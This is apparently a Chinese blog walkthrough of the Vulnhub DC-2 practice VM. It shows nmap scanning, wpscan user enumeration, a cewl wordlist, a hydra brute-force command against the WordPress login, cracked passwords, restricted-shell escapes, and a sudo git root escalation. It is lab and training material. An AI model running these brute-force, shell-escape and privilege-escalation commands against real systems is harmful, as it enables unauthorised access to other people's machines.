• Vulnhub实战靶场:DC-2


    安装配置

    DC靶场1-9下载链接
    链接:https://pan.baidu.com/s/1a5xbx60waiS4uYpkCA8pOA 
    提取码:tx2j 

    下载之后解压,直接双击用VM打开。

    DC靶机设置网卡为NAT。同时kail也设置为NAT。

    直接启动DC靶机就好了,启动时所有选项均勾选“是”

    靶场攻略

    信息收集

    arp-scan -l  查看局域网内存活的主机

    nmap -sV -Pn -p- -A 192.168.131.143  对存活主机进行详细扫描

    80和7744端口开放

    其中80端口的域名是  http://dc-2

    7744开放的是ssh端口

     根据上面的提示,需要配置本地dns解析。

     打开浏览器,访问dc-2

    找到flag1

     通过whatweb收集指纹

    whatweb http://dc-2

    利用火狐插件(Wappalyzer)

    确定了CMS是wordpress

    使用御剑扫描,发现

     

    http://dc-2/wp-login.php  我猜测应该是后台登录的地址,但是我们现在没有密码。等等再看看吧

    flag2

    根据flag1的提示,Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

    也许你需要cewl

    cewl是一款密码生成工具

      cewl是通过爬取网站的时候,根据爬取内容的关键字生成一份字典,通过这种方式生成的字典可以作为cupp生成字典的补充

    cewl http://dc-2/ -w mima.txt    生成密码文件

    针对wordpress使用相关工具(wpscan工具)

      WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。

    根据flag1的提示,需要多个账户,我就直接用wpscan的枚举工具。

    wpscan --url http://dc-2  -e u 
    -e:枚举
    u  枚举用户名

    发现3个用户。

    admin jerry 和 tome

     建立用户字典

     使用hydra进行暴力破解

    hydra -L dc2_user.txt -P mima.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
    • -l ——> 表示单个用户名(使用-L表示用户名列表)
    • -P ——> 表示使用以下密码列表
    • http-post-form ——> 表示表单的类型
    • / dvwa / login-php ——> 是登录页面URL
    • username ——> 是输入用户名的表单字段
    • ^ USER ^ ——> 告诉Hydra使用字段中的用户名或列表
    • password是输入密码的表单字段(可以是passwd,pass等)
    • ^ PASS ^ ——> 告诉Hydra使用提供的密码列表

    也可以使用wpscan进行爆破

    wpscan --url http://dc-2 -U dc2_user.txt -P mima.txt

    jerry / adipiscing

    tom / parturient

    我们得到两个用户名,想起之前有一个登录页面,我们去试一试

    经过尝试之后,发现只有jerry用户登录有flag

    flag3 

    flage2提示,我们需要从别的切入点登录,我想到了之前有一个ssh端口是开放的。

     尝试使用jerry用户登录,但发现jerry用户没有ssh登录权限

     我们使用tom用户成功登录

    ssh tom@192.168.131.143 -p 7744

    flag3就在眼前,但是这个一个受限制的shell

    Restricted Shell既受限的shell,它与一般标准shell的区别在于会限制执行一些行为

     

     绕过受限的shell

      方法1

    用vi的    :set shell=/bin/bash    回车
        : shell    回车
    之后 export -p 查看发现PATH变量可以写入
    export PATH=$PATH:/bin/

      方法2

    BASH_CMDS[a]=/bin/sh;a
    /bin/bash

    通过上面的两种方法任意一种之后

     bash已经不一样了。

    export PATH=$PATH:/bin/

     切换jerry用户登录dc-2,密码为最初破解的密码  adipiscing  ,登陆成功

    获取flag4

    切换用户。

     

     

    flag5 

    提示我们需要使用git命令

    我用  sudo -l  查看不用root密码就可以使用的命令

    也跟git有关,我就想到了使用git提权。

    git提权

    sudo git help config
        !/bin/bash或者!'sh'完成提权 ​
    sudo git  -p help
        !/bin/bash

     

     

     

  • 相关阅读:
    个人便签
    秒杀系统架构分析与实战
    NPOI大数据分批写入同个Excel
    js获取鼠标坐标位置兼容多个浏览器
    月薪3万的程序员都避开了哪些坑
    怎样理解阻塞非阻塞与同步异步的区别?
    JS中的prototype
    互联网——降级论
    fedora自带OpenJDK,所以如果安装官方的JDK的话要先删除OpenJDK
    cygwin 安装完后不能进入think问题,网上99%都是错误的
  • 原文地址:https://www.cnblogs.com/Xshun-z/p/14058114.html
Copyright © 2020-2023  润新知